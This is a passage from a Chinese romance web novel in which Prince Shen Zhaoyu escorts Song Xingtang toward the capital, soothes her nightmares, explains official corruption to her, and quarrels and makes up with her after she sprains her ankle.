“若是将她完全护在本王的庇护下,什么都不叫她学,无论何事都想着让她依赖本王,那她和本王豢养的爱宠又有何分别?” 江行蓦地失声。 “她首先是她自己,然后才是本王在意的人。”沈昭予嘲讽道,“难不成你也以为,女子无才便是德,因为她无法科考,就要折断她的翅膀,令她同那些无趣的贵女一样,满脑子除了相夫教子,就是三从四德,一丁点自己的个性都没有,看她们一眼,就让本王想起来本王那已经入土的老师。” 江行讪讪的,“属下倒也没那般迂腐,只是还以为,是您见不得身边人无才无能呢。” 怀王殿下不仅严于律己,还苛于待人,他对别人要求高,对自己更高。 他耐不住寂寞,忍受不了悠闲,同样的,也见不得别人无所事事,不思进取。 “原来您不是见不得大小姐闲着,而是为了她好啊。” 沈昭予略略无语,只能冷冷瞥他一眼,来表达自己的不满。 “可是您教她诗文也就罢了,回去以后难免要赴各种宴,肚子里有墨水,免得被人低看,可是算术,还有音律……太难了吧?” 江行想起那满满一大箱子的启蒙书,就觉得头皮发麻,他想到自己才到沈昭予身边时,也被按着头,没日没夜地读书,那叫一个苦啊。 “不难,只要她想学,就都能学会,她很聪明。” 再不行,还有他教,他会找到适合她的法子。 “况且她也很喜欢学,本王为何不支持?只要是她爱做的,本王都会顺着她。她于作画一事上颇有天赋,待回京后,本王会亲自为她挑一名好老师,不会让她的才华就此埋没,兴许有朝一日,她也能因才华出众而名动京城。” 江行:“……您想得可真长远啊。” “带她回去,不是想换个更加华丽的鸟笼将她豢养。本王要带她见识更广阔的天空,在本王的庇护下,她可以随心所欲,尽情地享受人生,享受被人夸赞、被人拥戴的感觉。” 那会是宋星糖喜欢的生活,也是她没感受过的生活。 “您真是比大小姐的爹娘还像爹娘。”江行摸着鼻子,喃喃道,“养个老婆,跟养女儿似得。” 沈昭予:“……” 他们与宋星糖的禅房挨着,才一踏入廊下,便见青鸾急匆匆地迎上来。 沈昭予脸色一变,两步到近前,“出事了?” 青鸾摇头,指了指屋里,低声道:“一直在哭。” 妙荷与李嬷嬷显然也很茫然无措。 她们虽在宋星糖身边伺候了十几年,可半夜被她的哭声惊醒,从小到大也没经历过几次。 她们甚至是没怎么见过宋星糖哭的,一时间不知该不该将人叫醒。 妙荷担忧道:“听说不能将梦魇的人叫醒,万一一口气没上来,可就坏了。” 沈昭予脸色不善,越过众人,快步进门。 房门紧闭。 妙荷犹豫着,“可要跟进去?” 青鸾摇头。 众人只得守在外头。 禅房不大,沈昭予几步就来到榻前。 借着幽暗的烛光,看到女子脸色的泪痕,心脏骤然一紧。 他沿着榻边坐下,握住她的手,轻声唤道:“糖儿,醒醒。” 宋星糖毫无反应,仍深深陷在梦里。 “娘,阿娘……” 沈昭予听清她口中的呼唤,心中苦涩难当。 他至今没敢告诉她关于李夫人亡故的真相,他不敢想,若她知道,该得多难过多怨恨。 “娘亲,好冷,好黑啊……” 宋星糖又回到了那个雪夜的灵堂里。 她其实很怕黑,应该是幼时落水时留下的病根。 怕黑,怕幽闭且黑的环境。 成亲前和秦知许一起睡,成亲后和赵鱼睡,宋星糖鲜少有独自入眠的时候。 两个一起睡觉,她就很少会做噩梦。 安济寺贵客的房间里榻都小,容不得两个人睡,所以今晚她是一个人。 一个人,又做了噩梦。 怎么总梦到那个雪夜呢?她不该怕的啊。 她并不是孤身一人,她守着娘亲的棺材。 有句诗怎么说的来着—— “举杯邀明月,对影成三人。” 她也有三个人,有她自己,有影子,还有娘。 不止是她一个人在那屋里,所以她不应该害怕的。 “我不怕,阿娘陪着我呢……” “不怕,很快就天亮了……” 梦里的她也在尝试自救。 沈昭予的眼圈蓦地红了。 他小心翼翼地把她往里抱了抱,而后就沿着所剩无几的边缘,在她身侧躺下。 他大半个身子都在外头,倾身将她抱进怀里。 宋洛繁知道她怕黑,所以守灵那晚,故意把人支走,将门反锁,还找人扮鬼吓她。 这也是沈昭予使了一些手段,从宋洛繁嘴里撬出来的过往。 宋洛繁这些年对她的欺凌,数不胜数。 作为回报,沈昭予命人折断了宋洛繁的双腿双手,还废掉他的命根,派人日夜盯着他,不许他自尽,在不远不近的地方,摆了一面铜镜,让他日夜都对着自己的残废样,好好欣赏。 此时此刻,沈昭予抱着怀里的人,忽然觉得,自己对宋洛繁的惩治还远远不够。 沈昭予手掌有节奏地、轻轻拍在宋星糖的后背上。 听着她抽泣声慢慢变小,逐渐停了。 嘴里喊的“阿娘”,也变成了“鱼鱼”。 沈昭予拉起她的手,在自己脸上贴了贴,放到唇边啄吻两下,又挪到腰上,让她搭着。 合拢手臂将她抱得更紧,低头吻在她发顶,又撩开她的额发,在她旧日的伤疤上反复轻吻。 直到听她呼吸逐渐绵长,心跳也归于平缓,沈昭予才抬起头,将她整个人都纳入怀中,稳稳地抱着她。 一直到天亮,他都保持 着这一个姿势。 后半夜宋星糖再没流过一滴眼泪。 天光大亮,沈昭予慢慢抽出发麻的胳膊,从榻上起身。 他用力甩了甩毫无知觉的手,盯着她的睡颜看,半晌,轻轻笑了一声。 宋星糖睁眼时,听到了翻书的声响。 她拢着被子坐起身,顶着一头凌乱长发,目光呆滞而茫然地望向对面椅子里的男人。 “……鱼鱼?” 宋星糖一时没反应过来自己身处何处。 男人抬眸,对视那一瞬,他陡然绽放出笑来,“醒了?睡得如何?” 大清早的,就被男色晃了眼。 他仿佛只是随口一问,宋星糖没多想,也没脑子多想,她人还晕乎乎地: “似乎……还不错?” 噩梦全然忘却,只记得一夜睡得很沉很香。 “是吗,”沈昭予垂下眸,笑道,“那就好。” 收拾行囊,继续上路。 并肩走出安济寺,上马车时,沈昭予扶住她的手臂,漫不经心地问道: “糖儿既然害怕鬼,为何还坚持要看鬼故事?” 宋星糖一愣,不知他何故有此问,虽不明所以,但还是赧然笑道: “多看看,习惯了,总有不怕的那一天呀。” 她回答得轻描淡写,沈昭予怔怔看她半晌,也跟着一笑。 他没有多说,只是看向她的目光,多了许多怜惜与温柔。 “往后,我还给糖儿念故事,可好?” 嗯?他不是不愿意吗? 宋星糖大喜,“好呀好呀好呀!” 有他念,她就更不怕啦。 “不过你不能留宿哦。”宋星糖十分坚持自己的原则,“把我念睡了就要走的。” 沈昭予:“……到时候再说吧。” 第67章 第67章占有欲。 【67】 一个月时间,他们走到陈州境内。 暗卫来报的消息是,宋鸿已与三日前抵达洛州,片刻未停,继续北上。 在收到人出现在洛州的信时,沈昭予便已料定,宋鸿的下一站是潞州,而他的目的地正是西北,灵州。 宋星糖不明白,沈昭予拿出地图来给她解释。 “由此处往西行经陕州、潼关回京,而非继续往北。”沈昭予以手为笔,画出一条路线,“照他这个赶路速度,再往北,很快就要到边境了。” 沈昭予果断下令:“让人紧跟宋将军,暗中护送他顺利到西北,提前通知霍老将军,让他做好准备。” 又让后追上来的魏吉取“怀王”的令牌,“沿着潞州、晋州、太原府、岚州、石州的路线追赶,通知孟门关的守将,对宋将军放行,不必严查其过所。若遇危急情况,酌情考虑是否需要亮明身份。谨记,务必要把人安全带回。” 他交代公务时,宋星糖就在旁边,她好奇地往令牌上看了一眼,没看清楚字,只觉得那令牌贵重无比,心想着,沈昭予当真是个好大的官,连牌子都彰显其尊贵的身份。 见魏吉离开,宋星糖见缝插针地问道:“为何不直接让人把我爹爹带回来?” 说话间,又进来一个不认识的黑衣守卫。 来去无声,也不知人是从哪冒出来的。 沈昭予一边拆看密信,一边道:“他有自己的事做,静观其变就好。” 宋星糖趴在桌上,眼睛直勾勾盯着他瞧。 她发现,沈昭予很喜欢暗地里盯着别人做事,悄咪咪,鬼鬼祟祟的。 也不对,就是……不打扰,不冒进,暗中观察后,再出击。 他做事前喜欢做好万全之策,在最恰当的时候做出最正确的决定,然后迅速行动,所以总能一击必中,干脆利落,事无不成。 他好厉害呀。 宋星糖眼底闪着星星,听着男人与下属交谈。 “霍定夷回京了?” “是,小将军已于昨日抵京,与南下归来的谢小侯爷一起进的宫。” “两个不靠谱的人竟碰到了一处去,那本——” 沈昭予忽然感觉自己后背被灼了一下,他微微侧身,对上一双炯炯有神的眼睛。 沈昭予:“……” 他险些忘了自己要说什么,顿了顿,才想起来,继续道:“……还是缓几日再回京吧。” 省的被一个谢徽坑不算完,还要应付另一个。 暗卫垂着头,不敢乱看,又问:“可要属下给两位带话?” 沈昭予想了想,“不必,无需透露行踪,只当做没收到信。” 他只想在进京前,和心上人安安静静地,最后过几天舒坦日子。 让他们自己玩去吧,谁也别来烦他。 暗卫沉默好半晌,“……是。” 暗卫离开后,沈昭予回头,看到宋星糖对他扬起一个灿烂的笑容。 沈昭予一阵恍惚。 他好像总是被一些不靠谱的人缠上。 谢徽是,霍定夷也是。 还有宋星糖…… 只见小姑娘咂巴了两下嘴巴,目光渴望,“鱼鱼,我们晚上吃什么呀?” “方才来的路上,闻到了烤鸡的香气,”她眼睛一转,鼻子嗅了嗅,“你闻到了吗?好——香——啊——” 沈昭予扶额:“……先别吃了,还有事。” 与各方消息一起送来的,还有来自越州宋家的加急家书。 是秦知期的亲笔。 沈昭予把门关死,省的她又闻到食物的味道分心。 “你父亲的丧报已送到府上。”沈昭予展信阅读,言简意赅道,“朝廷给你父亲的抚恤金是四十两银,因为没有找到你父亲的‘全尸’,他们为其立了衣冠冢,以及一些琐事,便不说与你听了。” “四十两,连匹好马都买不了。”宋星糖喃喃道,“爹爹的命这么不值钱吗?” 沈昭予眼底的嘲讽一闪而过,“朝廷财政吃紧,皇帝不舍得掏钱。” “那钱呢?”宋星糖歪头,不解道,“我听秦大哥说,百姓的赋税很重,朝廷应该有很多钱才对呀。” 沈昭予冷笑一声,“问的好,钱呢?” 反正将士们没见到。 几年前庆仁帝继位,李和衷调任杭州任刺史,之后杭州便水患频发。 起初是因为那几年四处都在打仗,朝廷拿不出那么多钱来救济,李和衷只能压榨乡绅富豪。 后来太平盛世,朝廷能出的多了,他便用次等材料以次充好,水患来时,河堤一冲就垮,他一边从朝廷要钱,一边继续笼络商户,用手中的权换商户的财,各取所需,利益捆绑,愈发紧密。 这是杭州一处的父母官充盈口袋的法子,至于其他地方,自然各有各的生财之路。 诸如越州的刘荣元,便是从宋氏这样的巨贾手中赚银子,贪的没有李和衷多,但也清白不到哪去。 这些本不欲说与宋星糖听,怎料她有她自己的见地。 宋星糖摸了摸下巴,忽然道:“都叫官贪走了吧?就像我家那边的官,就是被你拿下的那位,他贪了不少呢,我就见过二叔偷偷给他塞银子。” 沈昭予诧异道:“何时见的?” “可能……是去年?还是前年?时间记不清了,”宋星糖努力回忆,半晌,肯定道,“我不会记错的,那天是宋妤娇及笄的日子,请了一些官夫人来,她们身上穿的衣裳料子我在娘亲那里见过,娘亲说过,那些料子是要送到京城去的,不可以给我穿。” “我娘从小疼我,有好吃的好穿的绝不会亏待我,她说不能给我穿,那肯定也不能给别人穿,只能送到京城去给皇帝和妃子穿,也不知怎么,竟在那些官夫人身上见着了。” 沈昭予道:“你把你的发现告诉李夫人了吗?” 宋星糖点头,失落道:“说了,但阿娘说我认错了,不叫我乱看。” 沈昭予垂眸不语。 宋星糖慢慢蹭过来,凑到他耳边,说悄悄话:“我跟你说哦,我不会认错的,我还摸过料子呢,就是一样的。” 她说完这句,就起身远离,垂着脑袋,搓自己的小手,郁闷道: “但阿娘那样说肯定有她的道理,我不和她对着干,只是有点不明白,为何连阿娘都要骗我,只是个料子而已,承认我认对了很难吗?” 她难得聪明一回呢,就被阿娘给驳回了。 沈昭予见不得她这委屈样,伸手要去抱她,结果被她飞快躲开。 他无奈,只得拉住她的手,语气徐缓,同她解释道:“那些官都是坏人,他们的夫人穿的衣裳也不是正道来的,天高皇帝远,没人能管得了这些地方官,你娘也不能。贪污一事是不能放到台面上来说的秘密,你也知道,秘密之所以是秘密,就是因为一旦公之于众,会招来杀身之祸。” 宋星糖听得认真,认同地点头,“嗯嗯。” 沈昭予忍不住流露出笑容,“你娘是害怕你知道秘密以后,陷入危险中,她是为了你的安危着想,所以才跟你说,你猜得不对。她当然也知道你聪明,只不过有许多顾虑,不能肯定你。” 宋星糖眼睛一亮,“我娘也觉得我聪明吗?” 沈昭予心里泛着丝丝苦意,面上不显,仍然温柔地道:“她当然觉得你聪明,你是她的孩子,她那么厉害,你又能差到哪里去?” “嘿嘿!!” “你娘从未夸过你,是不是?” 宋星糖点了下头。 沈昭予笑道:“这便是为人父母的通病了,有句话叫——满招损,谦受益。” 宋星糖好奇道:“什么意思?” “就是怕你太过骄傲自满。”沈昭予摸了摸她的头,“做父母的,都想让孩子保有谦逊的心,所以不擅长夸奖。” “莫说是这一件小事,更有甚者,会拒绝承认孩子的出众。哪怕他次次考中头名,样样拔得头筹,也换不来一个赞扬的目光。” “他面对的,只是无止境的贬损、打压。这是他们大错特错之处,并不是我们自己的错,也不代表着我们不优秀,无需太过苛责自己、质疑自己,知道吗?” 宋星糖听得豁然开朗,一直点头,激动道:“哇哇!原来是这样!不是我不聪明,而是他们不喜欢夸我!” 沈昭予懒懒地笑,也跟着她一起点头,“嗯,正是如此。” “还是你说话好听呀,”宋星糖弯着眼睛,开心道,“只有你说话最为直接,都能叫我全都听懂,并且信服。” 沈昭予道:“也没有人,会耐心听我说这么一大段说教的话。” 宋星糖哈哈大笑,“那可能是因为你平时说话都太难听啦,谁喜欢听你骂人呐!” 沈昭予也跟着笑,“我对旁人,实在很难展露笑脸。” “为什么呢?因为他们不是我吗?” “因为,我喜欢糖儿,也只喜欢糖儿。” 这话沈昭予说得极其自然,如果不去看他红透的耳朵的话,一定以为,他整日都惯于把甜言蜜语挂在嘴边。 宋星糖则红着脸,低下头,“哦”了一声。 她心乱如麻,手指不断缠动着手帕。 沈昭予无心关注她的小动作,他自己的心跳好似轰然的战鼓,几乎震耳欲聋。 气氛逐渐焦灼,一呼一吸间,皆是滚/烫的热意。 半晌,宋星糖扭扭捏捏地道:“成亲时,嬷嬷还说,我不懂何为喜欢。” 沈昭予一愣,忽然感觉自己的心跳都停了,“你……懂吗?” “我懂呀,喜欢就是,爱听你说这些话!” 宋星糖思忖片刻,又摇头否定,“不对不对,应该是,只爱听你说这些话给我一个人听,不可以对旁人说同样的话。” 沈昭予怔在原地。 她对他……有了占有欲吗? 沈昭予不知在想什么,眸色越来越深,半晌,蓦地朝她伸手。 不管不顾地,将要将她抱入怀中。 宋星糖吓了一跳,脑子里思考到一半的重大问题什么都不剩了,连忙往外推他。 “哎哎,登徒子,做什么?男女授受不亲,是你教我的。” 她拒绝的那点力气,在沈昭予的眼中连挠痒痒都算不上。 “别动。” “……嗯?”宋星糖疑惑道,“你不舒服吗?听声音哑哑的。” 沈昭予嗓音低醇,带着股磨人耳朵的沙哑,“嗯,心有点难受。” “啊!那可是大事!抱抱就能好吗?”宋星糖迟疑道,“你别骗我,我没那么好骗的。” 他叹道:“是,要抱抱你才能好,因为你方才说的那番话,让我的心跳都失了秩序。” 宋星糖笑了声,不知怎么,听他这么说,自己心里还怪高兴的。 笑完又觉得失礼,怎么人家身体不适,她还要取笑呢,着实不该! 她松懈了抵抗的力量,虽然那力量几近于无。 两手拉平嘴角,在他怀里认真地点了下头,“好吧。” 她习惯性地在男人怀里找了个舒服的姿势窝好,鼻尖蹭在他衣襟上,熟悉的味道涌入鼻腔,她没忍住吸了吸。 才扯直的嘴角,又不听话地扬起弧度。 她想笑又不敢笑,只能抿嘴,偷偷地开心。 “哎呀,真拿你没办法。那就,那就勉强让你抱一下吧。” 第68章 第68章“我以为你不要我了。”…… 【68】 在陈州停留一日,转日继续踏上归途。 马车慢慢悠悠,摇摇晃晃。 宋星糖趴在窗边,回头问道:“我们下一站去哪?” “汴州。”沈昭予算了算时日,“日落后不赶路,到汴州约莫是七月初五初六。” “那我爹爹呢?” “你父亲到灵州一直赶路不停的话,少说还要半个月,不知他到灵州作甚,需要停多久。我们可以直接回京,到时候让你父女二人在京城相见。” 沈昭予思忖着,该如何向她坦白自己的身份问题。她不问,他总不好跳出来说,我是皇帝最小的弟弟,封号怀王,从前在西北担任统帅,逢战必胜,目前暂领刑部主官一职。 听起来有自夸嫌疑,未免太令人难以启齿。 宋星糖不知他心里想什么,又问:“那我们回京要多久呀?” 沈昭予回神,笑道:“那便要看糖儿这一路打算玩多久了。” 宋星糖目光躲闪,背过身去,“你这话说的,我又不贪玩。” “是吗?” 沈昭予摇头失笑。 宋星糖转头瞪他,“哎,你说呀!何时能到?” 一不高兴,又变成“哎”了。 “日行四十里,需要一个月。” “那就是七月底。”宋星糖掰着手指头数了数,“爹爹七月中旬到灵州的话……哎呀,他要是先我一步进京了怎么办?” “别算了,宋将军兴许还要在灵州停留段时日,加上回京也需要时间,必定不会比我们早,”沈昭予攥住她的手指头,“还有,一个月我们肯定回不去。” 就照宋星糖这爱玩的性子,尤其是她已无需再担忧自己父亲,可以完全放下心来,肯定要走到一处就得停上两日的。 再碰上当地的庙会或是节庆,停留的时日更多。万一她灵光一闪,蹦出个突发奇想来,日子更长。 “那我爹他——” “我难道还会耽误了宋将军不成?” 宋星糖嘿嘿笑道:“我就知道,你最好了。” 在她心里,已然将沈昭予当成菩萨的替身,不,甚至比菩萨还灵验可靠。只要对他稍稍表露出愿望与期待,他准能做到。 宋星糖完全信任他,至此心底再无挂碍,专心欣赏起路边的美景来。 沈昭予乐意见她依赖自己,嘴角噙着笑,随手拿起一本书来看,偶尔看看书,看看她,深深觉得自己前二十多年都白活了,如今这般,才叫享受,才叫活着。 一路走走停 停。 这日宋星糖午睡醒来,突发奇想:“我刚梦到我们之前,你说要和我比比。” 才批复完军报的沈昭予:?? 他花了两息功夫,让自己的思绪从军国大事里跳出来,疑惑道:“比什么?” 宋星糖一副“你果然忘了”的表情,因自己记性超过了他而沾沾自喜,乐得眼睛弯成月牙,“先前我爬安济寺的窗,你问我会不会爬树啊。” 哦,那次。 沈昭予想起来了,哭笑不得,“所以你现在,是想同我比试?” “昂!天天赶路,身子都僵了,我们下去活动活动呗?” 沈昭予:“……” 他往窗外看了一眼,正值炎炎暑热,正午时分,烈日当头。 “你确定?” 宋星糖叉腰道:“怎么,你不会是怕输给我吧?” 沈昭予:“……” 不得了,都学会用激将法了。 他还能怎么办呢?只能顺着她。 半炷香后。 宋星糖果不其然从树上掉下来,还扭了脚。 沈昭予冷着脸,抱着人往回走。 虽然摔了,但嘲讽的话不能不说。 许是跟他在一起呆久,有时也学着他一样,嘴上不饶人。 “真是奇了,怎么会脚滑呢?明明去年我还爬来着,肯定是这鞋子不好。” “裙子也不方便,不然我还能更快,嗖嗖嗖——” “要不是摔了,我肯定能先爬到顶!真可惜,离成功之一步之遥啦。不过虽然比试中断,也得算我赢。” “你怎么回事呀,慢吞吞的,怎么啦,是下面的风景不如上面好看嘛?怎么不快点越过我去呀?嘻嘻。” 沈昭予:“……” 她还真以为他爬不过她。 若真放开手脚跑到前头去,哪能第一时间接住从天而降的小笨蛋。 这笨蛋现在小人得志,说风凉话,也不想想,要没人在下头给她垫着,她早砸在地上摔成饼了,哪还笑得出来? 真是气人! 他眼底冒火,低头看她。 她笑意盈盈,眼里似盛满星光。 沈昭予:“……” 算了,他堂堂男子汉,不和一个小女子计较。 回到马车上,沈昭予单膝跪地,蹲在她身前,拉过她的脚放在自己腿上,脱掉鞋袜,撩开裙摆,看到了迅速红肿一大块的脚腕。 沈昭予脸色更沉,“疼吗?” 宋星糖摇摇头,似乎为了证明自己所言非虚,还胆大包天地晃了晃脚,叹道:“这只脚真是多灾多难呐,上回也扭的这只。” 沈昭予一把按住,语气略冷:“别动!” 宋星糖愣了下,不敢再说了。 哪怕她感觉不到疼,但扭伤依旧很严重,比上次更甚。 沈昭予当机立断,“就近寻一落脚之处,暂留些日子,等好了再继续往汴州行。” 宋星糖立马急了:“那怎么行?马上就乞巧节了,我想去见识见识,必须要在那日之前赶到汴州才行!” 沈昭予睨她一眼,“脚肿得跟个馒头一样,是叫我一路背你?” 他张开手臂,示意她钻进来,见她不动,又自嘲般勾起嘴角。 抱一下都要千哄万哄,费尽心思才能得逞片刻,她能愿意让他一路背着? 宋星糖果然迟疑,捏着手指,“我觉不出疼来,不影响赶……” 后面的话戛然而止,消失在男人严肃的目光里。 后面的路途中俩人没再说一句话,一直到进入最近的小城,找了最好的一家客栈落脚,都没有任何交流。 到了住处,沈昭予先下马车,从江行手里接过凌风的缰绳,骑上就走了,不知去哪儿,去办什么事。 他没有同宋星糖交代,宋星糖根本来不及问他,就再看不到他的踪影。 青鸾背着人下马车,又把人背进房间,一回头,发现宋星糖眼眶红了。 青鸾如临大敌,手足无措地站在那。 她搜肠刮肚半晌,才憋出来一句:“主子真是太不像话了!” 怎么能一声招呼都不打,就把人丢在这儿呢! 宋星糖没哭出来,只揉了揉发红的眼角,带着鼻音:“不是,脚疼。” 后知后觉的那个劲儿上来,脚踝处火辣辣的,根本不敢乱动。 青鸾忙道:“那我帮姑娘固定好吧。” 宋星糖慢吞吞地点头,“嗯,谢谢。” 为了防止她一个不小心,又乱动,青鸾干脆沿着边坐下,手按在她的小腿上,时刻盯着。 妙荷拿出一本鬼故事,哄道:“听故事吗?奴婢来念好不好?” 宋星糖两眼直勾勾地盯着空中某处,好半晌才有反应,“……也行。” 她抬头看向妙荷,“你念吧。” 那一眼空洞茫然,透着股悲伤难过,叫人心疼坏了。 妙荷心脏一紧,“是脚又疼了?” 宋星糖垂下脑袋,缓缓摇头。 带着细微的哭腔,沮丧道:“鱼鱼不理我。” 这一瞬间,妙荷和青鸾都在心里将沈昭予翻来覆去骂了一千遍。 “他不理你,你也莫理他!”妙荷愤愤道,“长嘴不知道说,就会用气势压人,是大官就了不得了!可是他求着姑娘跟他走的,现在倒好,人不知哪儿去!” 妙荷垂眼,目光落到青鸾身上,将怒火转移,骂道:“你那主子是不是人人都捧着他巴结他奉承他,所以狂妄惯了?得了姑娘的心,这么快就不珍惜,可见也不是什么好男人,都是一路货色!” 青鸾不敢吭声,垂头任骂,她刚有想要为主辩驳的心,一抬头看到宋星糖通红的眼睛,就什么都不想说了。 被骂也是活该!男人果然没一个好的! 妙荷又说了几句,见主子脸色不好,便不再说,拿着书念起故事来,希望能转移她的注意力,叫她别再想扫兴的人。 才念到第二个故事,青鸾忽然从榻上起身,目光紧盯着门口。 妙荷疑惑望去,只见青鸾退至一边,垂着头,似乎在恭候什么人。 总不会是那人回来了吧? 念头才落,房门就被人一把推开。 妙荷没去看来人,下意识就往榻上看去。 小姑娘安安静静地,歪在床头睡着了。 妙荷又看向门口。 只见男人怀里鼓鼓囊囊的,不知揣了什么东西,他目不斜视,径自往床榻而去,略一摆手,示意众人退下。 妙荷默默翻了个白眼,心道这男的派头真是足。 她刚要出言顶撞,说她家姑娘需要休息,还请离开,话未出口,便被青鸾一把拽出了门。 连声都没出,门就被关上。 沈昭予心里眼里没有旁人,只看着宋星糖。 他才坐下,小姑娘就慢慢睁开了眼睛。 沈昭予一愣,“没睡?” 宋星糖吸了吸鼻子,轻轻‘哼’了一声,想转身朝里,才一动,就感觉腿被一只有力的大掌牢牢按住。 只听男人嗓音微哑:“莫要乱动,仔细会疼。” 身子动不了,她就把脸扭向里侧,本来不想和他说话,可一听他的声音,委屈就忍不住从心里往外冒。 冷战只持续了一个时辰就宣告结束。 她委屈道:“那又如何?都疼过了。” 沈昭予垂下眼睛,低声道:“不可以仗着自己痛觉迟钝,就肆意作践自己的身子,这话我是不是说过?” 宋星糖不吭声。 沈昭予忽然一阵无力,也不知该说什么好。 他犹豫着,想要起身离开。 宋星糖似乎察觉到,抬手拉了下他的胳膊。 有了主动的肢体接触,沈昭予眸光渐渐柔软,“嗯?” 她仍然面冲着里,没看他,只手往后伸。 “你方才,做什么去了?” 沈昭予听出声音不对,心跳空了一拍,手捏住她下巴往回掰,令她看向自己,看到眼里蓄满的水雾,他顿时后悔。 “我去给你买了吃的。” 嗯? 宋星糖缓缓睁大眼睛,“有吃的?” 她眨了下眼,水雾顿时凝结成泪珠,由眼角滚落下来,她撑着榻起身,探头探脑,“吃的在哪儿了?” 皱着鼻子嗅了嗅,闻到一股甜腻的味道,是从他怀里散发出来的。 她抬手揪住他的衣领要扒,结果忽然听得肚子咕噜噜一声巨响。 宋星糖:“……” 沈昭予:“……” 她立马撒手,一手捂着肚子,一手挡住脸。 沈昭予无奈地叹了一声,从怀里掏出一份糕点。 “小地方,要找精致的吃食很难,跑了几处才寻到一个像样的,不知你爱不爱吃。” 宋星糖挡脸 那只手五指微张,视线从指缝中漏出来,盯着男人手中的东西看了半晌。 “原来你是给我买吃的,不是再也不理我了。” 沈昭予拧眉,“我怎会不再理你?这是谁在贬损我?” 宋星糖摇头,闷闷道:“是你凶过我,后来也一直不同我说话,径自下了马车,还骑马走了,把我撂下……” 不能提,不能回忆,一想就又觉得委屈。 好奇怪,从前受二房的气比这多多了,不见心里难受,怎么他一不理她,就这般难以忍耐呢? 沈昭予把吃食放在一边,试探着,去握她遮脸的那只手。 他当时人在气头上,怕一开口就说了伤人的话,所以干脆躲出去,想着自己冷静冷静,给她买点她喜欢的东西,再回来找她。 怎料就他离开的这会功夫,小姑娘好像更委屈了。 沈昭予道:“我是气你不拿自己当回事,明明负伤还要任性,将我的话当耳旁风,不听话。” 宋星糖没有拒绝,任由他握住自己的手,两只眼睛黏在糖糕上,心不在焉道:“可你从前绝不会这样对我。” 每一次都会陪在她身边,耐心哄她,从来不会把她留在原地。 沈昭予面色微红,“从前在你身边……都是装的。” 他在宋府,叫赵鱼,是赘婿身份。 在那个身份里,他不许自己做出违背身份的事,他身为赘婿,就得有个赘婿的样子。 赘婿自然要时时刻刻讨好“妻主”,话不可大声说,不可以有脾气,不能发火,要百般温柔,事事顺从。 可离开宋府,他坦白了自己的真名,他现在是沈昭予。 怀王殿下一身臭脾气,一点就燃,眼里揉不得沙子,还处处看不顺眼,强势蛮横,为人刻薄,高傲自负,不会向人低头。 他的本性自然而然地显露出来,当然,他也不想再继续藏着自己恶劣的性子,继续在她面前伪装子。 “我没有不想理你,只是怕口无遮拦,伤了你的心。” 没了赘婿那层身份的束缚,她做错事,他难免想要训她,可他又舍不得对她说重话,便只得躲开。 在他说心里话时,宋星糖偷偷抠了一角糖糕,塞到嘴里。 沈昭予:“……” 他只当看不到,抬手抹去沾在她嘴角的碎屑。 “你不是说,要同新名字的我相处一段时日吗?我怎好再扮演其他人。” 宋星糖一边偷偷地嚼,一边点头。 “哦哦,原来如此。” 沈昭予又叹了口气,也不知她究竟听进去没有。 饥饿感稍减,嘴里甜甜的,心里没那么苦了。 宋星糖道:“你扬长而去,我还以为你恼我,不要我了。” 沈昭予皱着眉,“你怎会这么想。” 宋星糖毫不犹豫就把底下人都出卖,“是个人都会这么想吧?大家都是这样想的,青鸾也是。” 沈昭予微眯双眸,冷笑一声。 “你是什么打算,要跟我说清楚呀,我笨,你不要让我猜,猜不出来的。” 宋星糖手上沾了油,一边说,一边偷偷摸摸往他袖子上抹。 沈昭予:“……好,知道了。” 这个世界上,也就她敢这么对他。 “好了,话已说清,”宋星糖拍了拍手,正襟危坐,郑重地看着他,“现在你要跟我道歉,否则我就不再理你。” 沈昭予轻笑一声,抬手要拧她的鼻子,被躲开,他好笑道:“这么有原则?可是你已经理我了,再说这话,有何意义?” 宋星糖板着小脸,重重点头:“有的,你若不道歉,那我,那我接下来,嗯……六个时辰!对,六个时辰都不再跟你说一个字!” 顿了顿,“一个眼神都不给!” 又道:“连屋子都不让你进!” “哦,对了,我还要去汴州过乞巧节,你先答应,再跟我道歉,一码归一码,一件都不能少。” 沈昭予:?? 第69章 第69章托着她的臀,将她抱了起…… 【69】 “讨价还价,得寸进尺?”沈昭予气笑了,指着她肿成两倍大的脚踝,“瞧瞧你这样,能去哪?” 还想过节?梦里过吧。 宋星糖坚决不依,扯着他的衣袖,又是哼,又是闹,撒娇耍赖。 沈昭予怕她伤着自己,要按着她别乱动,又要防着她扯他的衣裳,可谓顾此失彼,十分狼狈。 最终没法子,只得妥协。 见他答应,她欢呼不已。 沈昭予警告道:“路上老实点,否则我就亲你,把你亲得说不出话来。” 宋星糖捂住嘴巴,笑眼弯弯,不住点头。 她催道:“那我们也别休息了,连夜走吧,快赶不上了!” 沈昭予冷冷瞥她,“也不知是谁非要半路比爬树。” 宋星糖自知心虚,冲着他笑。 原本他们没打算在此处落脚,小城客栈条件有限,沈昭予虽不嫌弃,但有个养尊处优的大小姐是断然住不惯的。 若非她受伤,他们只怕已经到下一站。 沈昭予帮她把东西收拾好,又仔细为她上了药,检查她的骨头确定无碍,才叹道: “还说我不要你,难道不是你将我休弃,你先不要我的吗?” 说起这事,沈昭予从原先满腔怒火,恨不得和她再不往来,到如今只剩一肚子委屈埋怨与心酸。 怪她心狠,怪她竟忍心割舍他们的那段情。 沈昭予垂下眼睛,语气泛着一股怨夫的酸味:“大小姐先不要我这个夫君,我还没说什么呢。” 他再生气,再难过,也从没说过“我们算了”这种话。 当然,是因他有错在先,他认。 可对他的惩罚未免也太严厉了些,都说了任打任骂不还手还口。 再如何,也不该将他休了。 沈昭予越想越难受,忽然一下撇了手里的药膏,坐在旁边生起闷气。 宋星糖心虚不已,抓耳挠腮。 这也不怪她嘛,她爹说过,不要给犯错的男人好脸色,若被轻易原谅,男人是不会长记性的,狠狠折磨一通都不见得会悔改呢。 虽然沈昭予不是真心要骗她,也是碍于局势迫不得已,可她一向认死理,她成亲的夫君就叫赵鱼,不叫沈昭予,不是同一个人,怎么能认嘛。 不过,身边的人,诸如李嬷嬷妙荷,都觉得她不该休夫。 沈昭予也看着很难过的样子。 也许她所做确有不妥,可休都休了,能怎么办呀,大不了,让他再娶她一次嘛。 宋星糖四处望望,转移话题:“你,你去把青鸾叫进来吧。” 沈昭予:? “叫她作甚?” 宋星糖眼神无辜,“叫她进来背我呀,方才你走了,就是她背我进门的,每一步都走得很稳,好厉害!” 沈昭予:“……” 他黑着脸,弯下腰,抄过她腿弯,一把抱进怀里。 